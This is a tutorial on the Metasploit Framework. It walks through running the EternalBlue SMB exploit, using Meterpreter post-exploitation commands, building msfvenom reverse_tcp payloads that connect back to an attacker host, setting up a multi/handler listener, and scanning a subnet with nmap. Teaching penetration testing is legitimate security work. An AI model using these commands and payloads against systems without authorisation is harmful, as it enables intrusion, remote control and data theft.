# Metasploit Tool Tutorial

## Introduction

The Metasploit Framework is a powerful open-source platform used for penetration testing, vulnerability research, and exploit development. It provides a comprehensive environment for identifying vulnerabilities, developing and testing exploits, and performing security assessments.

### Key Features

- Exploit modules for known vulnerabilities.
- Auxiliary modules for tasks like scanning and fingerprinting.
- Post-exploitation tools for privilege escalation and data exfiltration.
- Integration with third-party tools for enhanced functionality.

## Installation

### On Linux

1. Install Metasploit via your package manager or download the installer:

   "curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfinstall"

2. Run Metasploit:

   "msfconsole"

### On macOS

1. Install Metasploit using Homebrew:
2. brew install metasploit
3. Launch Metasploit:

   "msfconsole"

### On Windows

1. Download the Metasploit installer from the official website.
2. Run the installer and follow the setup instructions.
3. Launch Metasploit from the installed application menu or command line.

# Basic Usage

## Starting Metasploit

To start Metasploit, open a terminal and type:

"msfconsole"

## Searching for Exploits

1. Use the search command to find exploits:
2. search smb
3. Review the results and note the desired exploit's module path.

## Using an Exploit

1. Select the exploit using the use command:
2. use exploit/windows/smb/ms17_010_eternalblue
3. Configure required options with the set command:
4. set RHOST 192.168.1.1
5. set LHOST 192.168.1.100
6. set LPORT 4444
7. Execute the exploit:
8. run

## Auxiliary Modules

Auxiliary modules perform tasks like scanning or enumeration. For example:

use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.1.0/24
run

This scans a subnet for FTP services and their versions.

## Meterpreter Basics

If an exploit is successful, Metasploit provides a Meterpreter session:

1. Interact with the session:
2. sessions -i 1
3. Run post-exploitation commands, such as:
4. sysinfo
5. getuid
6. Upload/download files:
7. upload /path/to/local/file /path/to/remote/file
8. download /path/to/remote/file /path/to/local/file

# Advanced Usage

## Generating Payloads

Use msfvenom to create custom payloads:

"msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > payload.exe"

This generates a reverse shell payload in .exe format.

### Database Integration

Enable the Metasploit database to manage scan results:

1. Start the database:
2. service postgresql start
3. msfdb init
4. Save scan results:
5. db_nmap -p 1-1000 192.168.1.0/24
6. View hosts and services:
7. hosts
8. services

### Running Exploit Scripts

Automate exploit workflows using scripts:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run

## Tips and Tricks

- Use show options to view all configurable parameters for modules.
- Combine Metasploit with Nmap to pre-scan networks:
- db_nmap -A 192.168.1.0/24
- Regularly update Metasploit for the latest modules:
- msfupdate
- Use background to keep an active session while launching other tasks.

## Examples

### Example 1: Exploiting SMB Vulnerabilities

1. Start Metasploit and search for SMB exploits:
2. search smb
3. Select the EternalBlue exploit:
4. use exploit/windows/smb/ms17_010_eternalblue
5. Configure options and execute the exploit:
6. set RHOST 192.168.1.1
7. set LHOST 192.168.1.100
8. run

### Example 2: Scanning for Vulnerable Services

1. Use an auxiliary scanner:
2. use auxiliary/scanner/http/http_version
3. set RHOSTS 192.168.1.0/24
4. run
5. Review results to identify targets.

### Example 3: Creating a Reverse Shell Payload

1. Generate a payload using msfvenom:
2. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf > shell.elf
3. Deploy the payload to a target and set up a listener:
4. use exploit/multi/handler
5. set PAYLOAD linux/x86/meterpreter/reverse_tcp
6. set LHOST 192.168.1.100
7. set LPORT 4444
8. run

## Conclusion

Metasploit is an indispensable tool for penetration testers and security professionals. With its extensive module library, advanced payload generation, and seamless integration with other tools, Metasploit streamlines the process of identifying and exploiting vulnerabilities. Use it responsibly to improve security and defend against real-world threats.